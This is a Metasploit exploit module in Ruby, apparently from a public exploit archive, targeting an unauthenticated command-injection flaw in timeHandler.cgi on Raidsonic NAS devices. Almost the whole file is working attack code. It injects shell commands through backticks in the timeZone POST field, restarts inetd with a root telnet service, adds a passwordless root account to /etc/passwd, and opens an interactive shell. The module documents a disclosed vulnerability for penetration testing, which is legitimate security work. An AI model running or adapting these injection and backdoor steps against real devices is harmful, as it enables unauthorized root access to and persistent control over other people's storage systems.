[remote] - Raidsonic NAS Devices Unauthenticated Remote Command Execution

### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # It's backdooring the remote device include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell include Msf::Exploit::FileDropper RESPONSE_PATTERN = "\ 'Raidsonic NAS Devices Unauthenticated Remote Command Execution', 'Description' => %q{ Different Raidsonic NAS devices are vulnerable to OS command injection via the web interface. The vulnerability exists in timeHandler.cgi, which is accessible without authentication. This module has been tested with the versions IB-NAS5220 and IB-NAS4220. Since this module is adding a new user and modifying the inetd daemon configuration, this module is set to ManualRanking and could cause target instability. }, 'Author' => [ 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '90221' ], [ 'EDB', '24499' ], [ 'BID', '57958' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-010' ] ], 'DisclosureDate' => 'Feb 04 2013', 'Privileged' => true, 'Platform' => 'unix', 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def tel_timeout (datastore['TelnetTimeout'] || 10).to_i end def banner_timeout (datastore['TelnetBannerTimeout'] || 25).to_i end def exploit telnet_port = rand(32767) + 32768 print_status("#{rhost}:#{rport} - Telnet port: #{telnet_port}") #first request cmd = "killall inetd" cmd = Rex::Text.uri_encode(cmd) print_status("#{rhost}:#{rport} - sending first request - killing inetd") res = request(cmd) #no server header or something that we could use to get sure the command is executed if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end #second request inetd_cfg = rand_text_alpha(8) cmd = "echo \"#{telnet_port} stream tcp nowait root /usr/sbin/telnetd telnetd\" > /tmp/#{inetd_cfg}" cmd = Rex::Text.uri_encode(cmd) print_status("#{rhost}:#{rport} - sending second request - configure inetd") res = request(cmd) #no server header or something that we could use to get sure the command is executed if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end register_file_for_cleanup("/tmp/#{inetd_cfg}") #third request cmd = "/usr/sbin/inetd /tmp/#{inetd_cfg}" cmd = Rex::Text.uri_encode(cmd) print_status("#{rhost}:#{rport} - sending third request - starting inetd and telnetd") res = request(cmd) #no server header or something that we could use to get sure the command is executed if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end #fourth request @user = rand_text_alpha(6) cmd = "echo \"#{@user}::0:0:/:/bin/ash\" >> /etc/passwd" cmd = Rex::Text.uri_encode(cmd) print_status("#{rhost}:#{rport} - sending fourth request - configure user #{@user}") res = request(cmd) #no server header or something that we could use to get sure the command is executed if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i, 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end add_socket(sock) print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") else print_good("#{rhost}:#{rport} - Telnet session successfully established...") end handler(sock) end def request(cmd) uri = '/cgi/time/timeHandler.cgi' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', #not working without setting encode_params to false! 'encode_params' => false, 'vars_post' => { "month" => "#{rand(12)}", "date" => "#{rand(30)}", "year" => "20#{rand(99)}", "hour" => "#{rand(12)}", "minute" => "#{rand(60)}", "ampm" => "PM", "timeZone" => "Amsterdam`#{cmd}`", "ntp_type" => "default", "ntpServer" => "none", "old_date" => " 1 12007", "old_time" => "1210", "old_timeZone" => "Amsterdam", "renew" => "0" } }) return res rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end def negotiate_telnet(sock) login = read_telnet(sock, "login: $") if login sock.put("#{@user}\r\n") end return read_telnet(sock, "> $") end def read_telnet(sock, pattern) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, tel_timeout) return nil if not data or data.length == 0 if data =~ /#{pattern}/ return true end end end rescue ::Timeout::Error return nil end endend

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